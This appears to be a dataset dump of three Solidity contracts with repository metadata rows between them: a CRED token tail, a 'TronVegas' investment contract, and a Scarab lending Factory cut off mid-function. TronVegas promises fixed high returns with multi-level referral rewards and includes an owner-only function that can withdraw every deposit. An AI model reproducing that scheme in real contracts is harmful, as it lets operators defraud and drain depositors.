return _nonces[owner].current();
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
interface ICRED is IERC20 {
function setRelayer(address newRelayer) external;
function renounceOwnership() external;
function transferOwnership(address _newOwner) external;
function acceptOwnership() external;
function mint(address account,
uint256 amount) external;
function burn(address account,
uint256 amount) external;
function getChainId() external view returns (uint256);
}
contract CRED is ICRED, ERC20Permit {
// Contract owner address
address public owner;
// Proposed new contract owner address
address public newOwner;
// Cross-chain transfer relayer contract address
address public relayer;
uint256 public constant cap = 10000 * 1000 * 1000 * 1 ether;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event RelayerAddressChanged(address indexed relayer);
constructor() ERC20("Idexonaut Cred", "CRED") ERC20Permit("Idexonaut Cred") {
owner = _msgSender();
emit OwnershipTransferred(address(0), _msgSender());
}
function setRelayer(address newRelayer) external override onlyOwner {
require(newRelayer != address(0), "WIDO: NEW_RELAYER_ADDRESS_INVALID");
relayer = newRelayer;
emit RelayerAddressChanged(newRelayer);
}
modifier onlyOwner() {
require(owner == _msgSender(), "WIDO: CALLER_NO_OWNER");
_;
}
function renounceOwnership() external override onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
function transferOwnership(address _newOwner) external override onlyOwner {
require(_newOwner != address(0), "WIDO: INVALID_ADDRESS");
require(_newOwner != owner, "WIDO: OWNERSHIP_SELF_TRANSFER");
newOwner = _newOwner;
}
function acceptOwnership() external override {
require(_msgSender() == newOwner, "WIDO: CALLER_NO_NEW_OWNER");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function mint(address account,
uint256 amount) external override {
require(_msgSender() == relayer, "WIDO: CALLER_NO_RELAYER");
require(totalSupply() + amount <= cap, "WIDO: AMOUNT_EXCEEDS_CAP");
_mint(account, amount);
}
function burn(address account,
uint256 amount) external override {
require(_msgSender() == relayer, "WIDO: CALLER_NO_RELAYER");
_burn(account, amount);
}
function getChainId() public override view returns (uint256) {
uint256 id;
assembly { id := chainid() }
return id;
}
}
| 327,594 | 12,742 |
2337198de9c728a9a260faf9e1bac63fbad929e6aac38fbede192dc37b06932e
| 17,297 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THKZvZQFdwEwQ797SXhZKfNdD95qY4pZmy_TronVegas.sol
| 4,892 | 16,271 |
//SourceUnit: TronVegas.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.7.0;
contract TronVegas{
address public owner;
address payable a;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
a = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
struct User{
bool referred;
address referred_by;
uint256 total_invested_amount;
uint256 referal_profit;
uint256 total_referral_profit;
}
struct Referal_levels{
uint256 level_1;
uint256 level_2;
uint256 level_3;
uint256 level_4;
uint256 level_5;
}
struct Panel_1{
uint256 invested_amount;
uint256 profit;
uint256 profit_withdrawn;
uint256 start_time;
uint256 exp_time;
bool time_started;
uint256 remaining_inv_prof;
}
struct Panel_2{
uint256 invested_amount;
uint256 profit;
uint256 profit_withdrawn;
uint256 start_time;
uint256 exp_time;
bool time_started;
uint256 remaining_inv_prof;
}
struct Panel_3{
uint256 invested_amount;
uint256 profit;
uint256 profit_withdrawn;
uint256 start_time;
uint256 exp_time;
bool time_started;
uint256 remaining_inv_prof;
}
mapping(address => Panel_1) public panel_1;
mapping(address => Panel_2) public panel_2;
mapping(address => Panel_3) public panel_3;
mapping(address => User) public user_info;
mapping(address => Referal_levels) public refer_info;
uint public totalcontractamount;
// -------------------- PANEL 1 -------------------------------
// 1% : 365 days
function invest_panel1() public payable {
// 50,000,000 = 50 trx
require((msg.value>=100000000 && msg.value<=1000000000000) , 'Please Enter Amount no less than 100');
totalcontractamount += msg.value;
if(panel_1[msg.sender].time_started == false){
panel_1[msg.sender].start_time = now;
panel_1[msg.sender].time_started = true;
panel_1[msg.sender].exp_time = now + 365 days; //20*24*60*60 = 45 days
}
panel_1[msg.sender].invested_amount += msg.value;
user_info[msg.sender].total_invested_amount += msg.value;
referral_system(msg.value);
//neg
if(panel1_days() <= 365){ //365
panel_1[msg.sender].profit += ((msg.value*1*(365 - panel1_days()))/(100)); // 365 - panel_days()
}
}
function is_plan_completed_p1() public view returns(bool){
if(panel_1[msg.sender].exp_time != 0){
if(now >= panel_1[msg.sender].exp_time){
return true;
}
if(now < panel_1[msg.sender].exp_time){
return false;
}
}else{
return false;
}
}
function plan_completed_p1() public returns(bool){
if(panel_1[msg.sender].exp_time != 0){
if(now >= panel_1[msg.sender].exp_time){
reset_panel_1();
return true;
}
if(now < panel_1[msg.sender].exp_time){
return false;
}
}
}
function current_profit_p1() public view returns(uint256){
uint256 local_profit ;
if(now <= panel_1[msg.sender].exp_time){
if((((panel_1[msg.sender].profit + panel_1[msg.sender].profit_withdrawn)*(now-panel_1[msg.sender].start_time))/(365*(1 days))) > panel_1[msg.sender].profit_withdrawn){ // 45 * 1 days
local_profit = (((panel_1[msg.sender].profit + panel_1[msg.sender].profit_withdrawn)*(now-panel_1[msg.sender].start_time))/(365*(1 days))) - panel_1[msg.sender].profit_withdrawn; // 20*24*60*60
return local_profit;
}else{
return 0;
}
}
if(now > panel_1[msg.sender].exp_time){
return panel_1[msg.sender].profit;
}
}
function panel1_days() public view returns(uint256){
if(panel_1[msg.sender].time_started == true){
return ((now - panel_1[msg.sender].start_time)/(1 days)); // change to 24*60*60 1 days
}
else {
return 0;
}
}
function withdraw_profit_panel1(uint256 amount) public payable {
uint256 current_profit = current_profit_p1();
require(amount <= current_profit, ' Amount sould be less than profit');
panel_1[msg.sender].profit_withdrawn = panel_1[msg.sender].profit_withdrawn + amount;
//neg
panel_1[msg.sender].profit = panel_1[msg.sender].profit - amount;
msg.sender.transfer(amount - ((5*amount)/100));
a.transfer((5*amount)/100);
}
function reset_panel_1() private{
panel_1[msg.sender].remaining_inv_prof = panel_1[msg.sender].profit + panel_1[msg.sender].invested_amount;
panel_1[msg.sender].invested_amount = 0;
panel_1[msg.sender].profit = 0;
panel_1[msg.sender].profit_withdrawn = 0;
panel_1[msg.sender].start_time = 0;
panel_1[msg.sender].exp_time = 0;
panel_1[msg.sender].time_started = false;
}
function withdraw_all_p1() public payable{
msg.sender.transfer(panel_1[msg.sender].remaining_inv_prof);
panel_1[msg.sender].remaining_inv_prof = 0;
}
// --------------------------------- PANEL 2 ----------------------
// 2% : 100 days
function invest_panel2() public payable {
// 50,000,000 = 50 trx
require((msg.value>=100000000 && msg.value<=1000000000000), 'Please Enter Amount no less than 100');
totalcontractamount += msg.value;
if(panel_2[msg.sender].time_started == false){
panel_2[msg.sender].start_time = now;
panel_2[msg.sender].time_started = true;
panel_2[msg.sender].exp_time = now + 100 days; //20*24*60*60 = 45 days
}
panel_2[msg.sender].invested_amount += msg.value;
user_info[msg.sender].total_invested_amount += msg.value;
referral_system(msg.value);
//neg
if(panel2_days() <= 100){ //20
panel_2[msg.sender].profit += ((msg.value*2*(100 - panel2_days()))/(100)); // 20 - panel_days()
}
}
function is_plan_completed_p2() public view returns(bool){
if(panel_2[msg.sender].exp_time != 0){
if(now >= panel_2[msg.sender].exp_time){
return true;
}
if(now < panel_2[msg.sender].exp_time){
return false;
}
}else{
return false;
}
}
function plan_completed_p2() public returns(bool){
if(panel_2[msg.sender].exp_time != 0){
if(now >= panel_2[msg.sender].exp_time){
reset_panel_2();
return true;
}
if(now < panel_2[msg.sender].exp_time){
return false;
}
}
}
function current_profit_p2() public view returns(uint256){
uint256 local_profit ;
if(now <= panel_2[msg.sender].exp_time){
if((((panel_2[msg.sender].profit + panel_2[msg.sender].profit_withdrawn)*(now-panel_2[msg.sender].start_time))/(100*(1 days))) > panel_2[msg.sender].profit_withdrawn){ // 45 * 1 days
local_profit = (((panel_2[msg.sender].profit + panel_2[msg.sender].profit_withdrawn)*(now-panel_2[msg.sender].start_time))/(100*(1 days))) - panel_2[msg.sender].profit_withdrawn; // 20*24*60*60
return local_profit;
}else{
return 0;
}
}
if(now > panel_2[msg.sender].exp_time){
return panel_2[msg.sender].profit;
}
}
function panel2_days() public view returns(uint256){
if(panel_2[msg.sender].time_started == true){
return ((now - panel_2[msg.sender].start_time)/(1 days)); // change to 24*60*60 1 days
}
else {
return 0;
}
}
function withdraw_profit_panel2(uint256 amount) public payable {
uint256 current_profit = current_profit_p2();
require(amount <= current_profit, ' Amount sould be less than profit');
panel_2[msg.sender].profit_withdrawn = panel_2[msg.sender].profit_withdrawn + amount;
//neg
panel_2[msg.sender].profit = panel_2[msg.sender].profit - amount;
msg.sender.transfer(amount - ((5*amount)/100));
a.transfer((5*amount)/100);
}
function reset_panel_2() private{
panel_2[msg.sender].remaining_inv_prof = panel_2[msg.sender].profit + panel_2[msg.sender].invested_amount;
panel_2[msg.sender].invested_amount = 0;
panel_2[msg.sender].profit = 0;
panel_2[msg.sender].profit_withdrawn = 0;
panel_2[msg.sender].start_time = 0;
panel_2[msg.sender].exp_time = 0;
panel_2[msg.sender].time_started = false;
}
function withdraw_all_p2() public payable{
msg.sender.transfer(panel_2[msg.sender].remaining_inv_prof);
panel_2[msg.sender].remaining_inv_prof = 0;
}
// --------------------------------- PANEL 3 ---------------------------
// 2.5% : 80 days
function invest_panel3() public payable {
require((msg.value>=100000000 && msg.value<=1000000000000), 'Please Enter Amount no less than 100');
totalcontractamount += msg.value;
if(panel_3[msg.sender].time_started == false){
panel_3[msg.sender].start_time = now;
panel_3[msg.sender].time_started = true;
panel_3[msg.sender].exp_time = now + 80 days; //10*24*60*60 = 10 days
}
panel_3[msg.sender].invested_amount += msg.value;
user_info[msg.sender].total_invested_amount += msg.value;
referral_system(msg.value);
//neg
if(panel3_days() <= 80){ //10
panel_3[msg.sender].profit += (((msg.value*5*(80 - panel3_days()))/2)/(100)); // 25 - panel_days()
}
}
function is_plan_completed_p3() public view returns(bool){
if(panel_3[msg.sender].exp_time != 0){
if(now >= panel_3[msg.sender].exp_time){
return true;
}
if(now < panel_3[msg.sender].exp_time){
return false;
}
}else{
return false;
}
}
function plan_completed_p3() public returns(bool){
if(panel_3[msg.sender].exp_time != 0){
if(now >= panel_3[msg.sender].exp_time){
reset_panel_3();
return true;
}
if(now < panel_3[msg.sender].exp_time){
return false;
}
}
}
function current_profit_p3() public view returns(uint256){
uint256 local_profit ;
if(now <= panel_3[msg.sender].exp_time){
if((((panel_3[msg.sender].profit + panel_3[msg.sender].profit_withdrawn)*(now-panel_3[msg.sender].start_time))/(80*(1 days))) > panel_3[msg.sender].profit_withdrawn){ // 25 * 1 days
local_profit = (((panel_3[msg.sender].profit + panel_3[msg.sender].profit_withdrawn)*(now-panel_3[msg.sender].start_time))/(80*(1 days))) - panel_3[msg.sender].profit_withdrawn; // 25*24*60*60
return local_profit;
}else{
return 0;
}
}
if(now > panel_3[msg.sender].exp_time){
return panel_3[msg.sender].profit;
}
}
function panel3_days() public view returns(uint256){
if(panel_3[msg.sender].time_started == true){
return ((now - panel_3[msg.sender].start_time)/(1 days)); // change to 24*60*60 1 days
}
else {
return 0;
}
}
function withdraw_profit_panel3(uint256 amount) public payable {
uint256 current_profit = current_profit_p3();
require(amount <= current_profit, ' Amount sould be less than profit');
panel_3[msg.sender].profit_withdrawn = panel_3[msg.sender].profit_withdrawn + amount;
//neg
panel_3[msg.sender].profit = panel_3[msg.sender].profit - amount;
msg.sender.transfer(amount - ((5*amount)/100));
a.transfer((5*amount)/100);
}
function reset_panel_3() private{
panel_3[msg.sender].remaining_inv_prof = panel_3[msg.sender].profit + panel_3[msg.sender].invested_amount;
panel_3[msg.sender].invested_amount = 0;
panel_3[msg.sender].profit = 0;
panel_3[msg.sender].profit_withdrawn = 0;
panel_3[msg.sender].start_time = 0;
panel_3[msg.sender].exp_time = 0;
panel_3[msg.sender].time_started = false;
}
function withdraw_all_p3() public payable{
msg.sender.transfer(panel_3[msg.sender].remaining_inv_prof);
panel_3[msg.sender].remaining_inv_prof = 0;
}
//------------------- Referal System ------------------------
function refer(address ref_add) public {
require(user_info[msg.sender].referred == false, ' Already referred ');
require(ref_add != msg.sender, ' You cannot refer yourself ');
user_info[msg.sender].referred_by = ref_add;
user_info[msg.sender].referred = true;
address level1 = user_info[msg.sender].referred_by;
address level2 = user_info[level1].referred_by;
address level3 = user_info[level2].referred_by;
address level4 = user_info[level3].referred_by;
address level5 = user_info[level4].referred_by;
if((level1 != msg.sender) && (level1 != address(0))){
refer_info[level1].level_1 += 1;
}
if((level2 != msg.sender) && (level2 != address(0))){
refer_info[level2].level_2 += 1;
}
if((level3 != msg.sender) && (level3 != address(0))){
refer_info[level3].level_3 += 1;
}
if((level4 != msg.sender) && (level4 != address(0))){
refer_info[level4].level_4 += 1;
}
if((level5 != msg.sender) && (level5 != address(0))){
refer_info[level5].level_5 += 1;
}
}
function referral_system(uint256 amount) private {
address level1 = user_info[msg.sender].referred_by;
address level2 = user_info[level1].referred_by;
address level3 = user_info[level2].referred_by;
address level4 = user_info[level3].referred_by;
address level5 = user_info[level4].referred_by;
if((level1 != msg.sender) && (level1 != address(0))){
user_info[level1].referal_profit += (amount*10)/(100);
}
if((level2 != msg.sender) && (level2 != address(0))){
user_info[level2].referal_profit += (amount*5)/(100);
}
if((level3 != msg.sender) && (level3 != address(0))){
user_info[level3].referal_profit += (amount*3)/(100);
}
if((level4 != msg.sender) && (level4 != address(0))){
user_info[level4].referal_profit += (amount*1)/(100);
}
if((level5 != msg.sender) && (level5 != address(0))){
user_info[level5].referal_profit += ((amount*1)/2)/(100);
}
}
function referal_withdraw() public payable{
uint rar = user_info[msg.sender].referal_profit;
user_info[msg.sender].total_referral_profit = user_info[msg.sender].total_referral_profit+ rar;
user_info[msg.sender].referal_profit = 0;
msg.sender.transfer(rar);
}
function SendTRXFromContract(address payable _address, uint256 _amount) public payable onlyOwner returns (bool){
require(_address != address(0), "error for transfer from the zero address");
_address.transfer(_amount);
return true;
}
function SendTRXToContract() public payable returns (bool){
return true;
}
}
| 294,073 | 12,743 |
507ad389732bf538015ee5fb8002c84bfa1a980c9659be208bb675587c232a46
| 23,869 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/7a/7A9FD12FcDA99284B55156dA01CF31d63978a0A2_Factory.sol
| 5,431 | 21,973 |
pragma solidity =0.5.16;
interface IScarabPriceOracle {
event PriceUpdate(address indexed pair,
uint256 priceCumulative,
uint32 blockTimestamp,
bool latestIsSlotA);
function MIN_T() external pure returns (uint32);
function getPair(address uniswapV2Pair)
external
view
returns (uint256 priceCumulativeSlotA,
uint256 priceCumulativeSlotB,
uint32 lastUpdateSlotA,
uint32 lastUpdateSlotB,
bool latestIsSlotA,
bool initialized);
function initialize(address uniswapV2Pair) external;
function getResult(address uniswapV2Pair)
external
returns (uint224 price, uint32 T);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface ICollateral {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender,
address indexed minter,
uint256 mintAmount,
uint256 mintTokens);
event Redeem(address indexed sender,
address indexed redeemer,
uint256 redeemAmount,
uint256 redeemTokens);
event Sync(uint256 totalBalance);
function underlying() external view returns (address);
function factory() external view returns (address);
function totalBalance() external view returns (uint256);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function exchangeRate() external returns (uint256);
function mint(address minter) external returns (uint256 mintTokens);
function redeem(address redeemer) external returns (uint256 redeemAmount);
function skim(address to) external;
function sync() external;
function _setFactory() external;
function borrowable0() external view returns (address);
function borrowable1() external view returns (address);
function tarotPriceOracle() external view returns (address);
function safetyMarginSqrt() external view returns (uint256);
function liquidationIncentive() external view returns (uint256);
function getPrices() external returns (uint256 price0, uint256 price1);
function tokensUnlocked(address from, uint256 value)
external
returns (bool);
function accountLiquidityAmounts(address account,
uint256 amount0,
uint256 amount1) external returns (uint256 liquidity, uint256 shortfall);
function accountLiquidity(address account)
external
returns (uint256 liquidity, uint256 shortfall);
function canBorrow(address account,
address borrowable,
uint256 accountBorrows) external returns (bool);
function seize(address liquidator,
address borrower,
uint256 repayAmount) external returns (uint256 seizeTokens);
function flashRedeem(address redeemer,
uint256 redeemAmount,
bytes calldata data) external;
event NewSafetyMargin(uint256 newSafetyMarginSqrt);
event NewLiquidationIncentive(uint256 newLiquidationIncentive);
function SAFETY_MARGIN_SQRT_MIN() external pure returns (uint256);
function SAFETY_MARGIN_SQRT_MAX() external pure returns (uint256);
function LIQUIDATION_INCENTIVE_MIN() external pure returns (uint256);
function LIQUIDATION_INCENTIVE_MAX() external pure returns (uint256);
function _initialize(string calldata _name,
string calldata _symbol,
address _underlying,
address _borrowable0,
address _borrowable1) external;
function _setSafetyMarginSqrt(uint256 newSafetyMarginSqrt) external;
function _setLiquidationIncentive(uint256 newLiquidationIncentive) external;
}
interface ICDeployer {
function deployCollateral(address uniswapV2Pair) external returns (address collateral);
}
interface IBorrowable {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender,
address indexed minter,
uint256 mintAmount,
uint256 mintTokens);
event Redeem(address indexed sender,
address indexed redeemer,
uint256 redeemAmount,
uint256 redeemTokens);
event Sync(uint256 totalBalance);
function underlying() external view returns (address);
function factory() external view returns (address);
function totalBalance() external view returns (uint256);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function exchangeRate() external returns (uint256);
function mint(address minter) external returns (uint256 mintTokens);
function redeem(address redeemer) external returns (uint256 redeemAmount);
function skim(address to) external;
function sync() external;
function _setFactory() external;
event BorrowApproval(address indexed owner,
address indexed spender,
uint256 value);
event Borrow(address indexed sender,
address indexed borrower,
address indexed receiver,
uint256 borrowAmount,
uint256 repayAmount,
uint256 accountBorrowsPrior,
uint256 accountBorrows,
uint256 totalBorrows);
event Liquidate(address indexed sender,
address indexed borrower,
address indexed liquidator,
uint256 seizeTokens,
uint256 repayAmount,
uint256 accountBorrowsPrior,
uint256 accountBorrows,
uint256 totalBorrows);
function BORROW_FEE() external pure returns (uint256);
function collateral() external view returns (address);
function reserveFactor() external view returns (uint256);
function exchangeRateLast() external view returns (uint256);
function borrowIndex() external view returns (uint256);
function totalBorrows() external view returns (uint256);
function borrowAllowance(address owner, address spender)
external
view
returns (uint256);
function borrowBalance(address borrower) external view returns (uint256);
function borrowTracker() external view returns (address);
function BORROW_PERMIT_TYPEHASH() external pure returns (bytes32);
function borrowApprove(address spender, uint256 value)
external
returns (bool);
function borrowPermit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function borrow(address borrower,
address receiver,
uint256 borrowAmount,
bytes calldata data) external;
function liquidate(address borrower, address liquidator)
external
returns (uint256 seizeTokens);
function trackBorrow(address borrower) external;
event AccrueInterest(uint256 interestAccumulated,
uint256 borrowIndex,
uint256 totalBorrows);
event CalculateKink(uint256 kinkRate);
event CalculateBorrowRate(uint256 borrowRate);
function KINK_BORROW_RATE_MAX() external pure returns (uint256);
function KINK_BORROW_RATE_MIN() external pure returns (uint256);
function KINK_MULTIPLIER() external pure returns (uint256);
function borrowRate() external view returns (uint256);
function kinkBorrowRate() external view returns (uint256);
function kinkUtilizationRate() external view returns (uint256);
function adjustSpeed() external view returns (uint256);
function rateUpdateTimestamp() external view returns (uint32);
function accrualTimestamp() external view returns (uint32);
function accrueInterest() external;
event NewReserveFactor(uint256 newReserveFactor);
event NewKinkUtilizationRate(uint256 newKinkUtilizationRate);
event NewAdjustSpeed(uint256 newAdjustSpeed);
event NewBorrowTracker(address newBorrowTracker);
function RESERVE_FACTOR_MAX() external pure returns (uint256);
function KINK_UR_MIN() external pure returns (uint256);
function KINK_UR_MAX() external pure returns (uint256);
function ADJUST_SPEED_MIN() external pure returns (uint256);
function ADJUST_SPEED_MAX() external pure returns (uint256);
function _initialize(string calldata _name,
string calldata _symbol,
address _underlying,
address _collateral) external;
function _setReserveFactor(uint256 newReserveFactor) external;
function _setKinkUtilizationRate(uint256 newKinkUtilizationRate) external;
function _setAdjustSpeed(uint256 newAdjustSpeed) external;
function _setBorrowTracker(address newBorrowTracker) external;
}
interface IBDeployer {
function deployBorrowable(address uniswapV2Pair, uint8 index) external returns (address borrowable);
}
interface IFactory {
event LendingPoolInitialized(address indexed uniswapV2Pair, address indexed token0, address indexed token1,
address collateral, address borrowable0, address borrowable1, uint lendingPoolId);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewAdmin(address oldAdmin, address newAdmin);
event NewReservesPendingAdmin(address oldReservesPendingAdmin, address newReservesPendingAdmin);
event NewReservesAdmin(address oldReservesAdmin, address newReservesAdmin);
event NewReservesManager(address oldReservesManager, address newReservesManager);
function admin() external view returns (address);
function pendingAdmin() external view returns (address);
function reservesAdmin() external view returns (address);
function reservesPendingAdmin() external view returns (address);
function reservesManager() external view returns (address);
function getLendingPool(address uniswapV2Pair) external view returns (bool initialized,
uint24 lendingPoolId,
address collateral,
address borrowable0,
address borrowable1);
function allLendingPools(uint) external view returns (address uniswapV2Pair);
function allLendingPoolsLength() external view returns (uint);
function bDeployer() external view returns (address);
function cDeployer() external view returns (address);
function tarotPriceOracle() external view returns (address);
function createCollateral(address uniswapV2Pair) external returns (address collateral);
function createBorrowable0(address uniswapV2Pair) external returns (address borrowable0);
function createBorrowable1(address uniswapV2Pair) external returns (address borrowable1);
function initializeLendingPool(address uniswapV2Pair) external;
function _setPendingAdmin(address newPendingAdmin) external;
function _acceptAdmin() external;
function _setReservesPendingAdmin(address newPendingAdmin) external;
function _acceptReservesAdmin() external;
function _setReservesManager(address newReservesManager) external;
}
contract Factory is IFactory {
address public admin;
address public pendingAdmin;
address public reservesAdmin;
address public reservesPendingAdmin;
address public reservesManager;
struct LendingPool {
bool initialized;
uint24 lendingPoolId;
address collateral;
address borrowable0;
address borrowable1;
}
mapping(address => LendingPool) public getLendingPool; // get by UniswapV2Pair
address[] public allLendingPools; // address of the UniswapV2Pair
function allLendingPoolsLength() external view returns (uint256) {
return allLendingPools.length;
}
IBDeployer public bDeployer;
ICDeployer public cDeployer;
IScarabPriceOracle public tarotPriceOracle;
event LendingPoolInitialized(address indexed uniswapV2Pair,
address indexed token0,
address indexed token1,
address collateral,
address borrowable0,
address borrowable1,
uint256 lendingPoolId);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewAdmin(address oldAdmin, address newAdmin);
event NewReservesPendingAdmin(address oldReservesPendingAdmin,
address newReservesPendingAdmin);
event NewReservesAdmin(address oldReservesAdmin, address newReservesAdmin);
event NewReservesManager(address oldReservesManager,
address newReservesManager);
constructor(address _admin,
address _reservesAdmin,
IBDeployer _bDeployer,
ICDeployer _cDeployer,
IScarabPriceOracle _tarotPriceOracle) public {
admin = _admin;
reservesAdmin = _reservesAdmin;
bDeployer = _bDeployer;
cDeployer = _cDeployer;
tarotPriceOracle = _tarotPriceOracle;
emit NewAdmin(address(0), _admin);
emit NewReservesAdmin(address(0), _reservesAdmin);
}
function _getTokens(address uniswapV2Pair)
private
view
returns (address token0, address token1)
{
token0 = IUniswapV2Pair(uniswapV2Pair).token0();
token1 = IUniswapV2Pair(uniswapV2Pair).token1();
}
function _createLendingPool(address uniswapV2Pair) private {
if (getLendingPool[uniswapV2Pair].lendingPoolId != 0) return;
allLendingPools.push(uniswapV2Pair);
getLendingPool[uniswapV2Pair] = LendingPool(false,
uint24(allLendingPools.length),
address(0),
address(0),
address(0));
}
function createCollateral(address uniswapV2Pair)
external
returns (address collateral)
{
_getTokens(uniswapV2Pair);
require(getLendingPool[uniswapV2Pair].collateral == address(0),
"Scarab: ALREADY_EXISTS");
collateral = cDeployer.deployCollateral(uniswapV2Pair);
ICollateral(collateral)._setFactory();
_createLendingPool(uniswapV2Pair);
getLendingPool[uniswapV2Pair].collateral = collateral;
}
function createBorrowable0(address uniswapV2Pair)
external
returns (address borrowable0)
{
_getTokens(uniswapV2Pair);
require(getLendingPool[uniswapV2Pair].borrowable0 == address(0),
"Scarab: ALREADY_EXISTS");
borrowable0 = bDeployer.deployBorrowable(uniswapV2Pair, 0);
IBorrowable(borrowable0)._setFactory();
_createLendingPool(uniswapV2Pair);
getLendingPool[uniswapV2Pair].borrowable0 = borrowable0;
}
function createBorrowable1(address uniswapV2Pair)
external
returns (address borrowable1)
{
_getTokens(uniswapV2Pair);
require(getLendingPool[uniswapV2Pair].borrowable1 == address(0),
"Scarab: ALREADY_EXISTS");
borrowable1 = bDeployer.deployBorrowable(uniswapV2Pair, 1);
IBorrowable(borrowable1)._setFactory();
_createLendingPool(uniswapV2Pair);
getLendingPool[uniswapV2Pair].borrowable1 = borrowable1;
}
function initializeLendingPool(address uniswapV2Pair) external {
(address token0, address token1) = _getTokens(uniswapV2Pair);
LendingPool memory lPool = getLendingPool[uniswapV2Pair];
require(!lPool.initialized, "Scarab: ALREADY_INITIALIZED");
require(lPool.collateral != address(0),
"Scarab: COLLATERALIZABLE_NOT_CREATED");
require(lPool.borrowable0 != address(0),
"Scarab: BORROWABLE0_NOT_CREATED");
require(lPool.borrowable1 != address(0),
"Scarab: BORROWABLE1_NOT_CREATED");
(, , , , , bool oracleInitialized) =
tarotPriceOracle.getPair(uniswapV2Pair);
if (!oracleInitialized) tarotPriceOracle.initialize(uniswapV2Pair);
ICollateral(lPool.collateral)._initialize("Scarab Collateral",
"cSCARAB",
uniswapV2Pair,
lPool.borrowable0,
lPool.borrowable1);
IBorrowable(lPool.borrowable0)._initialize("Scarab Borrowable",
"bSCARAB",
token0,
lPool.collateral);
IBorrowable(lPool.borrowable1)._initialize("Scarab Borrowable",
"bSCARAB",
token1,
lPool.collateral);
getLendingPool[uniswapV2Pair].initialized = true;
emit LendingPoolInitialized(uniswapV2Pair,
token0,
token1,
lPool.collateral,
lPool.borrowable0,
lPool.borrowable1,
lPool.lendingPoolId);
}
function _setPendingAdmin(address newPendingAdmin) external {
require(msg.sender == admin, "Scarab: UNAUTHORIZED");
address oldPendingAdmin = pendingAdmin;
pendingAdmin = newPendingAdmin;
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
}
function _acceptAdmin() external {
require(msg.sender == pendingAdmin, "Scarab: UNAUTHORIZED");
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
admin = pendingAdmin;
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, address(0));
}
function _setReservesPendingAdmin(address newReservesPendingAdmin)
external
{
require(msg.sender == reservesAdmin, "Scarab: UNAUTHORIZED");
address oldReservesPendingAdmin = reservesPendingAdmin;
reservesPendingAdmin = newReservesPendingAdmin;
emit NewReservesPendingAdmin(oldReservesPendingAdmin,
newReservesPendingAdmin);
}
function _acceptReservesAdmin() external {
